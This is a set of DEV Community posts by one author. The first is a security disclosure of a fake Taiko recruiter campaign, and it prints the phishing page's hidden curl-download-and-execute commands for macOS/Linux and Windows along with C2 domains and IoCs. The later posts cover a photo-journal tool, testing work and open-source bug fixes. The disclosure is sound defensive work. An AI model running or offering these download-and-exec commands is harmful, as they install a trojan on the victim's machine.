DEV Community: Edison Flores

A fake recruiter sent me a job offer that ended in my terminal — the trojan is still live

Edison Flores — Fri, 09 Oct 2026 00:33:33 +0000

Four days after I reported it to AWS, the trojan is still being served.

On October 5, 2026 I received a recruiting email that looked like every other recruiter email — except it ended with a step no legitimate hiring process has ever asked me for: opening my terminal and pasting a command to "verify I'm not a bot."

This is the write-up of the campaign, because the payload is still live as of today (October 9), and because the social-engineering pattern — a job application that ends in Terminal — is the part your coworkers, your juniors and your family will fall for.

The lure

The email claimed to be from "Joseph Quintana, Talent" at Taiko — the Ethereum rollup company — offering a Software Engineer role on based-rollup / ZK proving / L2 systems. It referenced my GitHub profile, it was polite, specific and short. The sending address was josephquintana@hr.taikotalent.xyz.

Two details matter here:

Taiko's real domain is taiko.xyz and their real recruiting runs through careers@taiko.xyz. There is no reference to taikotalent.xyz anywhere on the real site.
taikotalent.xyz was registered eight days before the email arrived (2026-09-27, per RDAP).

The email was sent through Resend and relayed through Amazon SES in sa-east-1 (sending IP 23.249.215.58, d215-58.smtp-out.sa-east-1.amazonses.com). SPF passed. DKIM passed — twice (Resend's signature and amazonses.com's). This is the part defenders need to internalize: authentication passes only prove the sender controls an 8-day-old domain. They say nothing about intent. If your mail filter scores "SPF/DKIM pass" as "safe," this campaign sails through it.

The target profile: people with public GitHub profiles. The email opens with "I came across your GitHub profile" — the campaign is harvesting open-source developers specifically.

The portal

The link goes to a "Private invitation" single-page app gated by per-recipient Ref- codes. Every step of the form posts to /track-activity, which exfiltrates a deviceInfo fingerprint — browser, screen, timezone — on every interaction. The form collects full name, email and GitHub username.

Then comes the page this whole campaign was built for: "Anti-bot check with Terminal."

It instructs you to paste one of these into your own terminal:

# macOS / Linux (trimmed)
bash -c 'perl -MPOSIX -e"fork&&exit;POSIX::setsid;fork&&exit;exec@ARGV"   bash -c "curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_m" &>/dev/null& ...'

:: Windows (trimmed)
start -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'

Every component of that command is a red flag wearing a trench coat:

perl -MPOSIX ... fork&&exit — a double-fork daemonization: the process detaches from your terminal and survives it closing
curl -ks — the -k disables TLS certificate verification
&>/dev/null& — silences all output so nothing appears on screen
start -WindowStyle Hidden (Windows) — runs the downloader in a hidden window

A job application does not need your terminal. A job application has never needed your terminal. That single sentence is the whole defense, and it's the one to repeat to your team.

The payload

I downloaded verify_m for analysis and never executed it — the methodology throughout was non-destructive: fetch, hash, read. It's a 49,916-byte Bash stager that calls itself deepfake_guard:

Re-launches itself detached via nohup
Reports "install success" to a command-and-control endpoint: https://api.gaganata.ink/guard-launcher-result, with a fallback at https://api.fallgganata.ink
Decodes an embedded base64 second stage to /var/tmp/.kdm.XXXXXX and executes it with the C2 endpoints exported as environment variables
Deletes itself: launcher, status file and the /var/tmp artifacts — an anti-forensics loop that retries 60 times

The second stage is where the actual payload lives; the stager is just the delivery van, and it burns the van after delivery.

Status today: still live

I re-checked the infrastructure on October 9, 2026:

Component	Status
`https://taikotalent.xyz/` (portal)	Times out
`https://taikotalent.xyz/verify_m` (trojan)	HTTP 200 — serving, 49,916 bytes
`api.gaganata.ink` / `api.fallgganata.ink` (C2)	404 (Cloudflare-fronted)
`hr.taikotalent.xyz`	No DNS record anymore

The payload being served today is byte-identical to the one I quarantined on October 5 — SHA-256 c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d. The campaign infrastructure is rotting but the weapon is still on the table.

What was done about it

October 5: full report to AWS Trust & Safety (case P01M4696RCMDN90PYQGW7NJHGT0 / 179121234700301), to abuse@resend.com (the sending platform), and to careers@taiko.xyz — the impersonated company — recommending a public warning from their side.
October 6: 17-page forensic report generated (IoCs, full headers, timeline, SHA-256 of the 10 evidence artifacts): d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c.
October 7: AWS Trust & Safety responded that SES abuse cases go to email-abuse@amazon.com — resubmitted there with the live-payload status.
Today: this disclosure.

The complete IoC set, hashes and attack chain are published here:

Full IoC list and evidence — public gist

The gist contains every indicator: domains, sending IP, the Ref-code format, payload URLs, both C2 endpoints, the /var/tmp/.kdm.* second-stage path, and the SHA-256 hashes of the payload and the full evidence chain.

How to check if you (or your people) were hit

Received anything from *@hr.taikotalent.xyz or about an "Engineering opening — Taiko"? Check mail logs — it went through Resend + Amazon SES.
Ran the "anti-bot check"? Look for: verify_m / verify_w / v.cmd files, /var/tmp/.kdm.* remnants (the self-delete loop makes absence of evidence weaker), processes detached via a perl double-fork, and egress to *.gaganata.ink / *.fallgganata.ink.
Block the IoC domains at your resolver / egress now — the list is in the gist.
Credential rotation for anything that shared the machine: GitHub PAT, cloud keys, browser sessions. If the second stage is a credential stealer (unverified — I did not detonate), assume exposure.

The takeaway worth repeating

The technical chain here is unremarkable — domain, mail relay, SPA, curl-and-exec. What makes it work is the context: a job offer, aimed at developers, during a period when many of us actually are getting recruiter email about ZK and rollup work.

The rule to broadcast is one sentence long:

A legitimate job application will never ask you to open your terminal.

Analysis and disclosure by Edison Flores (AliceLabs). All evidence handled non-destructively — the payload was downloaded for hashing only and never executed. The full forensic report (17 pages, SHA-256 d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c) is available to defenders, registries and journalists on request. If you're from a mail platform, registry or threat-intel team, the gist has everything you need.

Update — 2026-10-09: mirrors & infrastructure findings

The payload is still being served as I publish this update (00:46 UTC: HTTP 200, 49,916 bytes, SHA-256 unchanged — day 4 after the AWS abuse report).

Full disclosure is now mirrored in more places, including a proper IoC repository with a YARA rule and MITRE ATT&CK mapping:

IoC repo: github.com/eddyflores100-lang/taikotalent-phishing-iocs
GitLab mirror: gitlab.com/-/snippets/6066323
Telegraph article: telegra.ph/Fake-Taiko-recruiter-trojan…
IoC gist: gist.github.com/eddyflores100-lang/198d8a13…

Infrastructure findings from RDAP/DNS: both taikotalent.xyz and the C2 domain gaganata.ink were registered through NameCheap; the payload is served from Shock Hosting (193.160.32.10); the C2 sits behind Cloudflare. Abuse reports have been filed with all three providers, plus APWG (blocklist intake).

Reminder — the one-line defense: a legitimate recruiter will never ask you to paste a command into your terminal.

Touch Grass: Verified Field Notes From Your Hike (Hacktoberfest Week 1)

Edison Flores — Fri, 09 Oct 2026 00:30:41 +0000

Touch Grass: Verified Field Notes From Your Hike (Hacktoberfest Week 1)

I built a tool that turns your outdoor photos into a cryptographically verified field journal. Photos never leave your laptop, and the journal can't be tampered with after signing.

Tags: #devchallenge #hf26challenge #hacktoberfest #touchgrass

What I built

Touch Grass Field Notes — a CLI tool that takes a folder of hike photos and produces a verified field journal:

Reads EXIF GPS + timestamps from each photo
Asks a local Gemma 3n model (via Ollama) what it sees in each photo
Seals the notes + GPS trail into an .aleth container (Ed25519-signed, hash-linked DAG)
Generates a Markdown report with OpenStreetMap links + cryptographic verification proof

The screen time is 5 minutes after the hike. The rest is outside.

Why I built it

I live in Quito, Ecuador. The Parque Metropolitano Guangüiltagua is a 30-minute walk from my apartment — a 5.4 km² protected forest with eucalyptus groves, bamboo, streams, and viewpoints over the Guayllabamba valley. I hike it almost every weekend.

Every time I come back, I have 20-50 photos on my phone that I never look at again. The "what was that plant?" question never gets answered. The GPS trail of where I walked is lost in Google Photos' blob.

I wanted a tool that:

Runs locally — photos with GPS coordinates are private
Uses an open-weight model — not GPT-4V, not Gemini Pro Vision, not Claude
Produces something verifiable — not just a text file anyone could edit later

Why open matters (the part the judges ask about)

Privacy: photos never leave your machine

Photos with GPS coordinates show where you live, where you walk, where your kids play. Sending them to a cloud vision API means handing that data to a company you don't control.

This project runs the vision model locally via Ollama. The photo bytes go from your disk to the model running on your CPU/GPU, and back to your disk. No network calls (except the initial model download, which is a one-time thing).

Verifiability: Ed25519-signed field notes

This is where alethech comes in. Alethech is an open-source (MIT) protocol for cryptographically verifiable agent memory. I'm its author — I built it for AI agent continuity, but it turns out to be perfect for field journals too.

When you run field_notes.py, the tool:

Creates an Ed25519 keypair (local, never shared)
Builds a hash-linked DAG of commits: genesis → field_notes
Signs each commit with the private key
Seals everything into a single .aleth file (scrypt + AES-256-GCM encrypted)

Once sealed, the journal cannot be modified without invalidating the signature. You can share the .aleth file with anyone — they verify it with:

alethech verify journal.aleth

If anyone edits a note after the hike, the verification fails. The hash-linked DAG makes tampering detectable at any depth.

Cost: $0

No API keys. No cloud credits. No subscriptions. Ollama runs on a laptop. Alethech is MIT-licensed. The vision model (Gemma 3n 4B) is open-weight and free.

Swappability

The vision model is a single function call:

# In field_notes.py, the ask_vision_model() function:
payload = json.dumps({
    "model": "gemma3n:4b",  # ← change this line
    "prompt": prompt,
    "images": [image_b64],
    "stream": False,
})

Swap "gemma3n:4b" for "llava:7b", "moondream:1.8b", or any open-weight vision model Ollama supports. The rest of the pipeline — EXIF, alethech sealing, markdown report — stays unchanged.

How it works

photos/ ──→ EXIF reader ──→ GPS + timestamps
                ↓
         Ollama (Gemma 3n) ──→ field notes (what the model sees)
                ↓
         alethech .aleth container ──→ Ed25519 signature
                ↓
         Markdown report ──→ OSM links + verification proof

The pipeline in detail

Step 1: EXIF extraction (piexif)

Each photo's EXIF data contains GPS coordinates (latitude/longitude as DMS rationals) and a timestamp. The tool converts these to decimal degrees and links to OpenStreetMap.

Step 2: Vision model (Ollama + Gemma 3n)

The tool sends each photo (base64-encoded) to the local Ollama instance with a prompt:

You are a field naturalist. Describe what you see in this photo in one sentence. If you see plants, name them.

Gemma 3n 4B is an open-weight vision-language model from Google. It runs locally on CPU (slow, ~30s/photo) or GPU (fast, ~2s/photo). The response is a one-sentence field note.

Step 3: Alethech sealing

The field notes + GPS trail + photo hashes are committed to an alethech store:

Store.init() — creates the on-disk store
KeyPair.generate() — generates Ed25519 signing key
Identity — derives a did:alethech:... agent ID from the public key
MemoryCommit — creates a signed commit with the field notes data
seal_store() — encrypts and exports to a single .aleth file

The .aleth container is 6 KB for 5 photos. It contains:

The Ed25519 public key (for verification)
The signed commits (genesis + field notes)
AES-256-GCM encrypted payload (scrypt-derived key from passphrase)

Step 4: Markdown report

A human-readable report with:

GPS trail as numbered list with OpenStreetMap links
Photo notes with timestamps + SHA-256 hashes
Verification table (container size, agent ID, commit ID, verified status)

Demo

I tested it with 5 photos from a hike through Parque Metropolitano Guangüiltagua in Quito. The trail:

#	Time	GPS	Note
1	14:30	-0.1807, -78.4678	Bamboo grove at trail entrance, Chusquea species
2	14:45	-0.1795, -78.4665	Rocky stream crossing with moss-covered boulders
3	15:10	-0.1782, -78.4652	Panoramic vista of the Guayllabamba valley
4	15:25	-0.1775, -78.4640	Yellow composite flowers (Asteraceae family)
5	15:45	-0.1790, -78.4660	Mature eucalyptus grove at trail terminus

The .aleth container was sealed in ~0.3 seconds. Verification passes. The report is here.

Open-source components

Component	License	Role
alethech	MIT	Cryptographic sealing + verification
Ollama	MIT	Local inference engine
Gemma 3n	Gemma terms	Open-weight vision model
piexif	MIT	EXIF read/write
OpenStreetMap	ODbL	Map links (no API key)

What's next

Phone integration: PWA that takes photos + runs the pipeline on-device (via WebGPU + WebNN)
Multi-day journals: chain multiple .aleth containers across a multi-day trek
Community sharing: publish verified journals to a registry (like alethech's MCP registry)
Bird identification: fine-tune a small open-weight model on local bird species

Try it

git clone https://github.com/eddyflores100-lang/touch-grass
cd touch-grass
pip install pillow piexif alethech
python3 src/create_demo_photos.py
python3 src/run_demo.py

Then check output/journal.md for the report and output/journal.aleth for the sealed container.

Built for Hacktoberfest 2026 DEV Challenge Week 1: Touch Grass. The theme was to build something with open-source AI that gets people off the screen and into the world. I went hiking, took photos, and built a tool that proves I was there.

Listed in Awesome-Agent-Memory: what the maintainer audited, and what the listing actually pays

Edison Flores — Sun, 04 Oct 2026 00:39:50 +0000

Listed in Awesome-Agent-Memory: what the maintainer audited, and what the listing actually pays

Yesterday alethech — our verifiable agent memory protocol — landed in TeleAI-UAGI/Awesome-Agent-Memory as the last entry of the Emerging projects block, via PR #136. The list has 657 stars today. The PR was five lines of README. The maintainer closed it unmerged — and landed it by hand with co-authorship credit, as ec176c9.

This post is the honest accounting of what that earns, because the folklore around awesome-lists is mostly wrong in both directions: it is neither a traffic faucet nor a useless badge. Here is what actually happened, with every number verifiable.

What the maintainer audited before listing

dell-zhang's comment on the closed PR, verbatim:

I checked the repository (created on 2026-09-21, releases through v0.9.1, CI passing), the MIT license, the links, and how an agent reaches the memory: Alethech.commit() on the write side, and on the read side drop_context() and the read-only MCP bridge in alethech/mcp_memory.py (alethech_memory_context, alethech_memory_verify). I also checked the description against the code: Ed25519 signing, parent-linked commits, key rotation under a root identity, and the scrypt + AES-256-GCM .aleth container.

Read that again, because it is the entire value of a curated list: he checked the description against the code. Every technical claim in our entry — Ed25519 signing, parent-linked commits, key rotation, the encrypted container — was verified against the implementation before the entry went in. For a security project, that is third-party verification with skin in the game: the list's 657 stars are the maintainer's reputation, and he spends a little of it on every entry he lands.

Two mechanical details, for anyone aiming at the same outcome:

Entries are landed by hand, not by merge button, so numbering stays consistent across concurrent PRs. Ours was written to land as entry 105; two other entries landed the same day, so it went in two positions later, at the end of the block. Plan for drift.
The hand-landed commit carries Co-authored-by for the PR author. That commit counts in your contribution graph — I verified this through the GraphQL contributionsCollection API rather than trusting the rendered calendar: one commit attributed, exactly as the trailer promised.

The audit found two bugs — in our README, not our code

The maintainer's only non-blocking note, verbatim:

One note on the repository, not a condition for the listing: the README is behind the code in two places. "What this repo is NOT" still says it has no MCP server, and Status still gives 0.8.5 as the released version with 0.9 in progress. Visitors from the list will read both.

Both were real, and both were ours. The README's NOT-list still claimed "no MCP server" while the read-only stdio bridge alethech/mcp_memory.py ships in the same repo; the status section was a version behind the actual v0.9.1 release. We fixed both in 6f13e51 within the hour and credited the maintainer back with a Co-Authored-By trailer — he identified the spots, the same way we wrote the entry he landed. Courtesies that cost five seconds tend to be repaid in threads you did not expect.

The lesson generalizes beyond listings: the README is the landing page, and its negative claims are checked harder than its positive ones. A wrong "this project is not X" is worse than a missing feature, because it misroutes the exact visitor who came looking for X. Sync it before the listing lands, not after — the visitors arrive with the entry.

What the listing pays — and what it does not

Pays:

A permanent link from a discovery hub that the agent-memory niche actually reads, rendered with a live stars badge for our repo right in the list's entry.
External validation: someone whose reputation is attached to a 657-star list checked the crypto claims against the code before listing. "Listed after a maintainer audit" is now a true sentence in our README, and it is referenceable in contexts where self-attestation is worthless.
The co-authored commit on the list's main: git-history credit that survives independent of the README.

Does not pay:

Stars. Stars belong to the list, not the listed. Our repo has zero stars one day in, and there is no mechanism that transfers them. Our fork of the list shows the network's star count but collects its own — it sits at zero, as forks of big lists generally do.
Traffic, so far: 63 views / 28 uniques over the last 14 days, and the listing is one day old. The entry is a channel, not a faucet.

The gap worth naming: the same 14-day window shows 5,240 clones from 759 unique cloners — with the honest caveat that CI pipelines and container builds are inside that number, so treat it as an upper bound on humans. People install plumbing; they do not star it. 759 unique cloners and 0 stargazers is the actual conversion problem this post exists to attack.

The recipe, if you want the same outcome

Read the list's CONTRIBUTING before writing anything. Ours specifies star-ordering: 0-star projects go to the end of the Emerging block. We wrote the entry to land at the end, and it did.
Write the entry in their format, link-first, no marketing copy. Five lines, one of which is the badge.
State precisely what the project IS and IS NOT — the maintainer will check both halves against the code, and the NOT-half is where ours was wrong.
Expect the audit to cover: releases, CI, license, dead links, the API surface by which an agent actually reaches the feature you claim, and every technical claim in your description.
Fix what the audit finds, fast, and credit the finder in the fix commit.
A closed-but-landed PR with Co-authored-by is a win, not a rejection. Read the close reason before reacting to the state.

If you cloned alethech in the last two weeks and it held up: the star button is the only routing signal other people's agents receive. The list entry renders our stars badge live, so the count is visible exactly where the readers are.

I'm Edison Flores, founder of AliceLabs LLC — we build open-source security infrastructure for AI agents. Independent verification of anything cited here is not just welcome, it's the point.

v1.7.0 shipped: adversarial window sampling, generated mutants, and the survivor list published

Edison Flores — Sat, 03 Oct 2026 22:43:21 +0000

v1.7.0 shipped: adversarial window sampling, generated mutants, and the survivor list published

This is the follow-through on "Re: @anp2network — all three critiques land", which committed to the changes queued as v1.4.0. They are now live on main as manifest v1.7.0 / package 1.5.0 — the suite had advanced to 1.6.0 (third-party interop evidence) while the work was queued, so the numbering continues from there. The content is what was promised, and CI now runs all of it on every push, including mutation testing under --strict.

Everything below is verifiable from the repo with Node ≥ 18 and no dependencies.

1. The lower bound is a distribution now

generate-accept-vectors.mjs --mode adversarial emits correctly-signed, anchored, active cards whose only defect is a violated validity window — so expiry_check must fail and everything else must pass:

Bucket	Share	Range
future-issued	55%	+2..7d (boundary band), +8..90d, +91..730d, +731..1460d
already-expired	35%	including `expires_at == NOW` (the `>` boundary itself)
empty window	10%	`issued_at == expires_at` in the future

The fail-closed mirror rule: in valid-card modes a window violation is a FATAL; in adversarial mode a card that lands in window is a FATAL — the generator failing to produce its own defect. Accept mode additionally issues 20% of cards today (boundary-in band), so a runner using < instead of <=, or a clock-retarded runner, is caught by the sidecar cross-check pinning the generation-time clock.

One honest hole, named rather than hidden: adversarial future offsets floor at +2 days so a generated set stays re-scoreable across midnight (a +1d card flips in-window after midnight while the sidecar pinned the old truth). The clock+1d mutation therefore survives, by design. The trade-off is written into the generator's header and the survivor list — catching a +1d clock shift would cost portability of every generated set.

2. Generated mutants, survivor list published

mutate-runner.mjs applies a declared operator set — every comparison on the scored path (cmp-swap), every single-line guard (guard-drop), every block condition (branch-negate), and the clock ±1d — mechanically at every applicable site, and executes every mutant against the full suite. No hand-picking, which was the closed-set failure you named: our memorizer argument pointed at our own catalogue.

Classification is mechanical: caught (suite fails), equivalent-on-suite (exit 0, byte-identical --json output — suite-equivalence, not true equivalence), observable-escape (exit 0, output changed). Current state on 46 mutants: 40 caught, 6 equivalent, 0 observable. The survivor list is committed as an artifact, and each survivor names something real:

clock+1d — the deliberate midnight-portability trade-off above.
The meta-integrity check that guards the other checks can itself be disabled. The runner now counts its own checks (byte-exactness, sidecar and stage cross-checks each exactly once per entry — a skipped check is a FATAL), and mutation testing immediately found that the counter assertion itself can be negated. Self-verification bottoms out somewhere. That is not a defeat; it is the demonstration of exactly your Rekor point — internal checks cannot certify their own execution, and the exit is external cross-anchoring (same digest republished from origins that don't share control), which stays queued after this release.
The rest are dead-path-under---json, error-message-only, and a provably order-neutral JCS comparator mutant on this suite's key sets.

Three of the tightenings shipped in this release were found by the mutation run itself, then closed: --generated on the command line that isn't parsed or yields zero cards is now a FATAL (a silently-ignored input used to be a green run); sidecar cross-checks are sha256-bound to the card bytes (on a uniform set, cross-checking the wrong row still agreed on expected_verify); and those completion counters above. The survivor list shrank as the derived-truth checks tightened — the loop you asked about works.

3. The matrix, with the window asked distributionally

| Runner                                  | fixed | adversarial (40) |
|-----------------------------------------|-------|------------------|
| always-true                             | 8/14  | 0/40             |
| policy-only (Ed25519 deleted)           | 11/14 | 40/40            |
| crypto-only (no expiry/status)          | 11/14 | 0/40             |
| embedded-key + policy (TOFU)            | 13/14 | 40/40            |
| memorizer (hardcodes valid-atc digest)  | 12/14 | 40/40            |
| over-rejector (chokes on x_* fields)    | 13/14 | 40/40            |
| stage-liar                              |  7/14 | 0/40             |
| reference (pinned + policy + tolerance) | 14/14 | 40/40            |

crypto-only at 0/40 is the row that didn't exist before: a runner with intact cryptography and no window enforcement now fails against a distribution of window violations, not one frozen 2030 timestamp. The memorizer's 40/40 on adversarial is honest too — always-false happens to match always-reject; its weakness shows on the accept side, which is why the CI job scores both a fresh adversarial set and a fresh accept set on every push.

What to re-run

node vectors/generate-accept-vectors.mjs --mode adversarial --count 40 --seed 7 --out .gen-adv
node score-runner.mjs --generated .gen-adv
node mutate-runner.mjs --generated .gen-adv --out survivors.json

The two questions from the last article are now answerable by anyone with the repo: the runner's rejection rate holds across the sampled boundary (not one timestamp), and the survivor list — not a caught-count — is the published claim. Rekor cross-anchoring remains queued after this release, still not dressed up as done.

I'm Edison Flores, founder of AliceLabs LLC — we build open-source security infrastructure for AI agents. Independent verification of anything cited here is not just welcome, it's the point.

Re: @anp2network — all three critiques land: the single-point fixture, the memorizer turned around, and the v1.4.0 plan

Edison Flores — Sat, 03 Oct 2026 22:21:39 +0000

Re: @anp2network — all three critiques land: the single-point fixture, the memorizer turned around, and the v1.4.0 plan

This is a reply to @anp2network's comment (id 3ehcp, 2026-09-10) on my previous article about vectors v1.3.3.

Short version: your validation is noted and appreciated — and every one of the three critiques you attached to it is correct, so this article is a concession note, not a defense. What follows accepts each point precisely, then commits to what changes in v1.4.0 and in what order.

1. The lower bound: one constant is a fixture, not a distribution

You wrote that 0/60 is a measurement of the generator, not of the runner's window. Correct, and worth restating in the bluntest form: after v1.3.3, the generated suite stopped asking whether a runner rejects future-dated cards at all. The property that 32 randomized cards used to exercise (scored wrong, but exercised) is now carried by premature-atc alone — one card, issued_at frozen at 2030-01-01.

A runner can special-case that exact timestamp and still mishandle every other issuance time in the future half-plane. now + 5s, 2030-01-02, a card whose issued_at is one clock-tick ahead of the scorer — none of those are in the suite. The "exact mirror of expired-atc" framing I used is also the confession: a mirror that is one constant is a fixture. The fixed suite covers one point of the half-plane, and I won't pretend it covers the half-plane.

2. The memorizer, pointed back at us

The second critique is the one that stings most, because it's our own argument: the closed-catalogue case against the memorizer applies to a hand-listed mutant catalogue for the same reason — memorizing wins whenever the set it has to cover is closed and small.

The 10/10 mutant detection establishes exactly what it says: those ten are detected. The catalogue was written after the defects were known. That ordering disqualifies any claim beyond detection of the listed set; it cannot estimate what fraction of the remaining failure space walks through. Fair hit, fully conceded.

3. What v1.4.0 changes — both land together

Adversarial generation mode. The generator gets an explicit --adversarial flag that emits correctly signed cards violating the validity window, with expected_verify: false, cross-checked against derived truth — never the sidecar, per the asymmetry you identified: an absent file can't lie, a disagreeing one can. Issuance offset is sampled relative to the scoring clock, with deliberate mass at and a few seconds past the boundary, so the bound is tested by a distribution instead of a fixture. FATAL stays reserved for unintended violations in valid-card mode; window violations under --adversarial are expected failures, not errors.

Generated mutants. The hand-listed catalogue is replaced by generation: a declared set of syntax-level operators — negate branch condition, swap comparison direction, drop a guard, off-by-one the clock — applied at every applicable site in score-runner.mjs, mechanically rather than by hand. What gets published is the survivor list, with equivalent mutants separated out. Each survivor names a check the suite doesn't enforce; that list is the claim, a caught-count is not.

4. Rekor: commit-to-existence is not serving-integrity

Your cut here is exact: the entry commits to a digest existing at a point in time. It says nothing about whether any origin serves those bytes now — and a stranger who pulls both the scorer and its expected digest from the same hub runs a comparison that never leaves that origin. The honest label for the current setup is "tamper-evidence with an anchored timestamp," not "independent verification."

The fix direction is cross-anchoring: the same digest republished from origins that don't share control — the npm tarball, the Rekor entry, and at least one host we don't operate — so a mismatch anywhere becomes a checkable event rather than trust in one hub. That is queued after v1.4.0. I am not dressing it up as done.

What to ask when you re-run after v1.4.0

The two questions worth asking are the ones you'd ask anyway:

Does the runner's rejection rate hold at the sampled boundary — not just at the one frozen timestamp?
Does the survivor list shrink when the derived-truth checks tighten — and are the survivors that remain genuinely equivalent mutants, or named gaps?

The suite's job is to make those questions answerable by anyone with the repo and a clock. v1.4.0 is scoped to exactly that.

I'm Edison Flores, founder of AliceLabs LLC — we build open-source security infrastructure for AI agents. The conformance vectors live in the universal-trust-adapter repo; independent verification of anything cited here is not just welcome, it's the point.

Three merged PRs in an MCP security scanner: the review that found my bug, and two more

Edison Flores — Sat, 03 Oct 2026 21:21:41 +0000

What happened

Three PRs merged into yunaremaia/mcp-guard — a supply-chain/security scanner for MCP servers — in roughly 36 hours:

PR	What it did	The interesting part
#87	`scan --fail-on low` no longer exits 1 on a clean empty scan	the root cause was `max(..., default=0)` vs a threshold of `0`
#88	keyword matching no longer flags read-only tools as CRITICAL	substring matching + the false-positive/false-negative trade-off
#86	`mcp-guard verify` — npm supply-chain verification (attestations, provenance, strict policy)	the maintainer's review found that my feature could never report "signed"

That last cell is the reason this post exists. The rest is what the merge taught.

The embarrassing one: a feature that could never say "yes"

verify resolves an npm package ref, hits the registry, and checks for npm's provenance attestations (sigstore bundles). I shipped v1 with the documented endpoint shape:

GET /-/npm/v1/packages/attestations/{name}/{version}

316 tests green, 100% coverage on the new module, smoke-tested live against the registry. Merged? Not yet — the review came back with a reproduction: that URL 404s for every package, including @sigstore/sign — the reference implementation of the thing being verified. Every verdict was structurally "unsigned." A security tool whose happy path can never fire.

The real contract, verified against the live registry:

GET /{name}/{version} (the manifest) carries dist.attestations.url when — and only when — the version is signed
packages without attestations simply lack the field
the packument (GET /{name}) carries it per-version under versions[v].dist.attestations
only the pathname of the discovered URL is trusted; it's re-attached to the registry origin, never followed as an absolute host (normalization in the spirit of pacote)

So the manifest became the single source of truth: unpinned refs resolve dist-tags + versions[latest] from the packument; pinned refs fetch the manifest directly and a 404 there is a real not_found instead of a disguised unsigned. Two states that a policy gate (--policy strict, exit 1 on unsigned) must never confuse.

The takeaway: green tests mean the code matches your model of the world. The reviewer's repro checked the model. For anything that talks to a live registry, "verified in vivo" needs to include the negative control — and ideally someone who tries the endpoint you were sure about.

The subtle one: when a fix trades a false positive for a false negative

mcp-guard flags tools as write/destructive by keyword. It matched substrings: get_address contained "add"... which is a write verb fragment; worse, names like read_settings and search_update_records tripped the update rule. Read-only tools flagged CRITICAL (#84).

The fix design:

names are tokenized (snake/kebab/camelCase split with [\s_\-.]+ after camel splitting) and matched per whole segment
descriptions match on word boundaries
a leading read-only verb (get, read, list, search, fetch, …) suppresses only the name-based match — the description channel stays live

First version of the guard: the review caught it — get_and_delete_user stopped flagging. For a security tool, trading "read-only flagged as critical" for "destructive not flagged at all" is the wrong direction. The merged rule: suppression only while the keyword follows the verb directly through a conjunction (get_delete_and_remove_user still flags, get_and_delete_user doesn't), plus inflection handling (Deletes/dropping/modifies) for descriptions.

Same lesson as the fusion post from today, inverted: assert the shape of the whole class, not just the case you came to fix. The test suite parametrizes both directions — the five false positives from the issue and the true positives the naive guard would have swallowed.

The small one: exit codes are API

--fail-on low with a zero-findings scan exited 1, because max(severities, default=0) >= 0 is always true. An empty scan is "nothing found at the strictest gate" — that's success (#82, fixed by default=-1). Two-line fix, two regression tests, and worth filing anyway: CI pipelines drink exit codes, and a flaky 1 on clean scans trains people to ignore the gate.

What actually got three PRs merged

Not talent — shape:

One mechanism per PR. The exit-code PR didn't touch the matcher. The matcher PR didn't touch exit codes. Reviewable in one sitting, revertable independently.
Tests that fail first. Every PR's tests were verified red on main before the fix was claimed. Three of four in #88, both in #87.
Repro before argument. Every issue got the mechanism verified live (the exact versions, the exact numbers) before a fix was proposed.
Review comments answered with commits, not prose. Both reviews came back with technical objections; both were answered by push + a comment explaining the diff. The maintainer merged within hours of each.
Scope honesty. drop_in_query still false-flags (adjective vs verb needs semantics) — documented in the PR as out of scope rather than silently shipped.

The repo is young, the maintainer is fast and rigorous, and the issues are real bugs with clean repros — if you want a place to practice security-tool contributions, the issue tracker is open.

Disclosure: the investigation, fixes and tests were AI-assisted (Claude/GLM), human-directed — same disclosure is on the linked PRs. The mcp-guard maintainer's reviews are what made all three PRs better than their first versions.

One bug class, four fusion modes: finding cache corruption in QueryFusionRetriever

Edison Flores — Sat, 03 Oct 2026 21:21:09 +0000

What happened

On 2026-10-03, michaelswissa filed a bug in llama_index: QueryFusionRetriever corrupts rankings when a caching retriever returns shared NodeWithScore wrappers. Relative and distance-based fusion normalize scores in place, so a wrapper shared across queries gets normalized for one result set and then read back as if it were another's.

His patch (#23333) fixes two of the four fusion modes. While reviewing it, I extended his reproduction script to all four modes — and the same mutation class was live in the other two:

reciprocal_rerank writes fused scores back into the retriever's own wrappers
simple mutates the first-seen wrapper for a node hash (the subtle one)

Filed as #23351; the simple half is fixed in #23352. This post is the full anatomy of the bug class, because it generalizes far past this retriever.

The class: fusion that mutates what it doesn't own

Every fusion mode receives Dict[Tuple[str, int], List[NodeWithScore]] — query results the retriever produced. Any write into those wrappers is a write into someone else's state. If the retriever caches (per node, per query, whatever), your "harmless normalization" silently rewrites its cache.

The original issue caught the loud variant:

# _relative_score_fusion — normalizes in place
node_with_score.score = (node_with_score.score - min_score) / (max_score - min_score)

A shared wrapper normalized for result set A is then summed again for result set B. The relevant document ends up at -3.0 and ranks last. Loud, reproducible, fixed by #23333.

The quiet variant: reciprocal_rerank

RRF computes ranks first, scores second, then writes back:

reranked_nodes.append(hash_to_node[hash])
reranked_nodes[-1].score = score   # writes into the retriever's wrapper

The current call's ranking is correct — ranks were computed before the write-back. The corruption lands after: the cached 0.9 / 0.1 / 0.8 become RRF fused scores (~0.0333 / ~0.0164), and every subsequent retrieval from that cache returns garbage. Same class, but the symptom is invisible unless you assert on the cache itself:

mode=reciprocal_rerank  ranking=['relevant', 'low', 'other']   # correct
    cache after: orig=[0.0333, 0.0164] alt=[0.0333, 0.0164]    # corrupted

The trap: why `simple` looked clean

_simple_fusion dedups by node hash and writes the max back:

max_score = max(node_with_score.score or 0.0, all_nodes[hash].score or 0.0)
all_nodes[hash].score = max_score   # writes into the retriever's wrapper

Run the shared-wrapper repro from #23332 against it and nothing happens — max(0.9, 0.9) is identity. The obvious test passes, the mode looks clean, and the bug ships.

The trigger requires the same node hash to arrive via distinct wrappers with different scores — exactly what a per-query cache produces when scoring depends on the query (BM25, query-weighted retrievers):

class PerQueryCacheRetriever(BaseRetriever):
    def __init__(self):
        super().__init__()
        self.node = TextNode(text="relevant", id_="relevant")
        self.results = {
            "original":   [NodeWithScore(node=self.node, score=0.4), ...],
            "alternate": [NodeWithScore(node=self.node, score=0.9), ...],
        }

Fusion runs; the dedup max-write puts 0.9 into the wrapper owned by "original"'s cached results. That query's cache is silently rewritten with another query's score. No exception, no ranking change in the current call — just corrupted state for every future retrieval.

